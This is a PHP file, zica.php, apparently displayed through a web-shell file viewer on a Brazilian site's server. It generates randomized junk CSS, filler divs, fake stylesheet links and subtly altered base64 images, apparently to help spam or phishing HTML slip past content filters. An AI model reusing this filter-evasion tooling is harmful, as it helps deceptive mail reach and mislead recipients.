%PDF- %PDF-
| Direktori : /home/vacivi36/dossteste.vacivitta.com.br/vendor/ |
| Current File : /home/vacivi36/dossteste.vacivitta.com.br/vendor/zica.php |
<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);
set_time_limit(0);
date_default_timezone_set("America/Sao_Paulo");
setlocale(LC_ALL, 'pt_BR');
$palavrasRandom = file_get_contents("palavrasRandom.txt");
$palavrasRandom = explode("\n",$palavrasRandom);
function imgZICA($img_arquivo){
$im = imagecreatefrompng($img_arquivo);
$trans_background = imagecolorallocatealpha($im, 0, 0, 0, 127);
$background = imagecolorallocate($im , 0, 0, 0);
imagefill($im, 0, 0, $trans_background);
imagecolortransparent($im, $background);
imagealphablending($im, false);
imagesavealpha($im, true);
$stamp = imagecreatetruecolor(rand(1,3), rand(1,5));
$text_color = imagecolorallocate($im, rand(1,255), rand(1,255), rand(1,255));
imagestring($stamp, 200, 200, 200, random_words(1, rand(10,50)), $text_color);
$marge_right = 1;
$marge_bottom = 1;
$sx = imagesx($stamp);
$sy = imagesy($stamp);
imagefill($stamp, 0, 0, $trans_background);
imagecolortransparent($stamp, $background);
imagealphablending($stamp, false);
imagesavealpha($stamp, true);
imagecopymerge($im, $stamp, imagesx($im) - $sx - $marge_right, imagesy($im) - $sy - $marge_bottom, 0, 0, imagesx($stamp), imagesy($stamp), 50);
$RandomIMG = sha1(uniqid(rand(), true)).".png";
imagepng($im, './img_randons/'.$RandomIMG);
imagedestroy($im);
$base64 = file_get_contents('./img_randons/'.$RandomIMG);
unlink('./img_randons/'.$RandomIMG);
return base64_encode($base64);
}
function randomCSS_LINES(){
$array = array();
for ($i = 1; $i <= rand(30,80); $i++) {
array_push($array,".".generateRandomString(rand(10,30)).' > * { -moz-box-align: stretch; align-items: stretch; display: flex; flex-wrap: wrap; margin: calc('.rand(10,500).'px); }');
}
for ($i = 1; $i <= rand(30,80); $i++) {
array_push($array,".".generateRandomString(rand(10,25)).' { background-color: rgb('.rand(10,235).', '.rand(10,235).', '.rand(10,235).'); min-height: calc(-'.rand(10,500).'rem + '.rand(10,500).'vh); padding: '.rand(10,500).'rem; max-width: min('.rand(10,500).'vw, '.rand(10,500).'px); z-index: '.rand(10,500).'; box-shadow: rgba('.rand(10,235).', 55, 66, 0.03) '.rand(10,500).'px '.rand(10,500).'px '.rand(10,500).'px; }');
}
for ($i = 1; $i <= rand(30,80); $i++) {
array_push($array,".".generateRandomString(rand(10,25)).' a img { max-height: '.rand(10,500).'px; margin-top: '.rand(10,500).'px; }');
}
for ($i = 1; $i <= rand(30,80); $i++) {
array_push($array,".".generateRandomString(rand(10,25)).' { border-radius: '.rand(10,500).'.'.rand(10,500).'rem; text-align: center; min-width: '.rand(10,500).'ch; max-width: '.rand(10,500).'ch; padding: '.rand(10,500).'rem '.rand(10,500).'rem; background-color: rgb(224, '.rand(10,235).', '.rand(10,235).'); color: rgb(0, '.rand(10,235).', '.rand(10,235).'); }');
}
for ($i = 1; $i <= rand(30,80); $i++) {
array_push($array,".".generateRandomString(rand(10,25)).' { padding: '.rand(10,500).'rem '.rand(10,500).'px; border-style: solid none solid solid; border-right: medium none rgb('.rand(10,235).', '.rand(10,235).', '.rand(10,235).'); border-color: rgb('.rand(10,235).', '.rand(10,235).', '.rand(10,235).'); }');
}
for ($i = 1; $i <= rand(30,80); $i++) {
array_push($array,".".generateRandomString(rand(10,25)).' { background-color: rgb('.rand(10,235).', '.rand(10,235).', '.rand(10,235).'); border: '.rand(10,235).'px none; border-radius: 0.'.rand(10,235).'rem; color: rgb('.rand(10,235).', '.rand(10,235).', '.rand(10,235).'); cursor: pointer; display: flex; flex-direction: column; -moz-box-align: center; align-items: center; font-size: '.rand(10,235).'.'.rand(10,235).'rem; -moz-box-pack: center; justify-content: center; outline-color: rgb('.rand(10,235).', '.rand(10,235).', '.rand(10,235).'); padding: '.rand(10,235).'rem; box-shadow: rgba(0, '.rand(10,235).', 0, 0.1) '.rand(10,235).'px '.rand(10,235).'px '.rand(10,235).'px; transition: all '.rand(10,235).'.1s ease-in-out '.rand(10,235).'s; width: 100%; position: relative; min-width: '.rand(10,235).'ch; min-height: '.rand(10,235).'ch; }');
}
shuffle($array);
$linha = "";
foreach ($array as $key => $value) {
$linha .= ' '.$value."\n";
}
return "<style>\n".$linha."\n</style>";
}
function randomCSS(){
$string = '';
for ($i = 1; $i <= rand(10,20); $i++) {
$string .= ' <link rel="stylesheet" type="text/css" href="./css/?'.sha1(uniqid(rand(), true)).'.css">';
$string .= "\n";
}
return $string;
};
function gerarDivs($qnt){
global $palavrasRandom;
$randomDiv = array();
for ($i = 1; $i <= $qnt; $i++) {
$palavrasRandom_string = "";
for ($a = 1; $a <= rand(30,100); $a++) {
$palavrasRandom_string .= strtolower($palavrasRandom[rand(0,count($palavrasRandom) - 1)])." ";
}
$palavrasRandom_string = mb_substr($palavrasRandom_string, 0, -1);
$palavrasRandom_string = preg_replace( "/\r|\n/", "", $palavrasRandom_string );
$string = '<div id="'.random_words(1, rand(6,10)).'" class="'.RandomClass().'">'.$palavrasRandom_string.'</div>';
array_push($randomDiv, $string);
}
shuffle($randomDiv);
$stringFinal = "";
foreach ($randomDiv as $key => $value) {
$space = "";
for ($i = 1; $i <= rand(10,30); $i++) {
$space .= " ";
}
$stringFinal .= $space.$value."\n";
}
$stringFinal = mb_substr($stringFinal, 0, -1);
return $stringFinal;
}
function StringNoMeio($string) {
$keywordsArr = array("overflowx", random_words(1, rand(6,10)));
$dStringLength = strlen($string);
$aStringContent = explode(' ', $string);
$dLength = count($aStringContent);
foreach ($keywordsArr as $key => $value) {
$sRegularExperssion = "/$key/";
$dNumberOfMatches = preg_match($sRegularExperssion, $string);
if ($dNumberOfMatches >= $value) {
} else if ($dNumberOfMatches >= 0) {
$dRemainingTimes = $value - $dNumberOfMatches;
$dStep = (int) ($dLength / $dRemainingTimes);
for ($dIndex = 0; $dIndex < $dRemainingTimes; $dIndex++) {
$dPosition = $dStep * $dIndex;
array_splice($aStringContent, $dPosition, 0, $key);
}
}
}
$sResult = implode(' ', $aStringContent);
return $sResult;
}
function RandomClass(){
$string = "";
$array = array();
for ($i = 1; $i <= rand(5,10); $i++) {
array_push($array, generateRandomString(rand(5,10)));
}
array_push($array, "overflowx");
shuffle($array);
foreach ($array as $key => $value) {
$string .= $value." ";
}
return substr($string, 0, -1);
}
function random_words($words = 1, $length = 6){
$string = '';
for ($o=1; $o <= $words; $o++){
$vowels = array("a","e","i","o","u");
$consonants = array(
'b', 'c', 'd', 'f', 'g', 'h', 'j', 'k', 'l', 'm',
'n', 'p', 'r', 's', 't', 'v', 'w', 'x', 'y', 'z'
);
$word = '';
for ($i = 1; $i <= $length; $i++)
{
$word .= $consonants[rand(0,19)];
$word .= $vowels[rand(0,4)];
}
$string .= mb_substr($word, 0, $length);
$string .= "-";
}
return mb_substr($string, 0, -1);
}
function generateRandomString($length = 10) {
$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$charactersLength = strlen($characters);
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$randomString .= $characters[rand(0, $charactersLength - 1)];
}
return $randomString;
}